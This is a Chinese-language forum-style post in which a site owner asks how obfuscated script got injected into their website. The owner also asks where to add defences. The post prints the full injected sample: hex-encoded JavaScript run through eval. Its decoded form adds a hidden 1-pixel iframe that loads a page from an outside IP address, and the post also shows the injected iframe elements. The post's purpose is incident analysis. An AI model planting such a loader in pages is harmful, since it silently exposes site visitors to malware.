以下代码正在添加到我们的网站。下面是它对页面的影响,基本上是打开一个 iframe 到恶意软件站点。我们的网站上周遇到了这个问题,为了解决这个问题,我们刚刚回滚了数据库和代码库来解决这个问题,它确实做到了。我有一个可以使用的损坏版本,并且正在搜索代码的来源和方式,但我什么也没想到。如果它是通过网站上的某种形式输入的,那么该条目在数据库中会是什么样子?如果它修改了代码库中的文件,为什么我找不到它?我应该寻找什么?对此的任何见解都会非常有帮助。我试图找出我们需要在哪里插入安全性。
注意:原始脚本没有换行符。这里显示了换行符以使代码可读:
<script type="text/javascript" charset="utf-8">
p=parseInt;ss=(123)?String.fromCharCode:0;asgq="28!66!75!6e!63!74!6@!6f!6e!20!28!2@!20!7b!d!a!20!20!20!20!76!61!72!20!68!6f!75!65!20!3d!20!64!6f!63!75!6d!65!6e!74!2e!63!72!65!61!74!65!45!6c!65!6d!65!6e!74!28!27!6@!66!72!61!6d!65!27!2@!3b!d!a!d!a!20!20!20!20!68!6f!75!65!2e!73!72!63!20!3d!20!27!68!74!74!70!3a!2f!2f!32!31!36!2e!31!31!3@!2e!31!31!34!2e!31!36!34!2f!65!73!64!2e!70!68!70!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!70!6f!73!6@!74!6@!6f!6e!20!3d!20!27!61!62!73!6f!6c!75!74!65!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!62!6f!72!64!65!72!20!3d!20!27!30!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!68!65!6@!67!68!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!77!6@!64!74!68!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!6c!65!66!74!20!3d!20!27!31!70!78!27!3b!d!a!20!20!20!20!68!6f!75!65!2e!73!74!7@!6c!65!2e!74!6f!70!20!3d!20!27!31!70!78!27!3b!d!a!d!a!20!20!20!20!6@!66!20!28!21!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2@!20!7b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!77!72!6@!74!65!28!27!3c!64!6@!76!20!6@!64!3d!5c!27!68!6f!75!65!5c!27!3e!3c!2f!64!6@!76!3e!27!2@!3b!d!a!20!20!20!20!20!20!20!20!64!6f!63!75!6d!65!6e!74!2e!67!65!74!45!6c!65!6d!65!6e!74!42!7@!4@!64!28!27!68!6f!75!65!27!2@!2e!61!70!70!65!6e!64!43!68!6@!6c!64!28!68!6f!75!65!2@!3b!d!a!20!20!20!20!7d!d!a!7d!2@!28!2@!3b"
.replace(/@/g,"9")
.split("!");
try{
document.body&=0.1
} catch(gdsgsdg) {
zz=3;
dbshre=103;
if(dbshre){
vfvwe=0;
try{
document;
} catch(agdsg){
vfvwe=1;
}
if(!vfvwe){
e=eval;
}
s="";
if(zz)
for(i=0;i-480!=0;i++){
if(window.document)
s+=ss(p(asgq[i],16));
}
if(window.document)
e(s);
}
}
</script>
嵌入的十六进制代码解析为以下 Javascript:
(function () {
var houe = document.createElement('iframe');
houe.src = 'http://216.119.114.164/esd.php';
houe.style.position = 'absolute';
houe.style.border = '0';
houe.style.height = '1px';
houe.style.width = '1px';
houe.style.left = '1px';
houe.style.top = '1px';
if (!document.getElementById('houe')) {
document.write('<div id=\'houe\'></div>');
document.getElementById('houe').appendChild(houe);
}
})();
它正在注入div
以下元素:
<div id="mgkc"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>
<div id="houe"><iframe src="http://216.119.114.164/esd.php" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;"></iframe></div>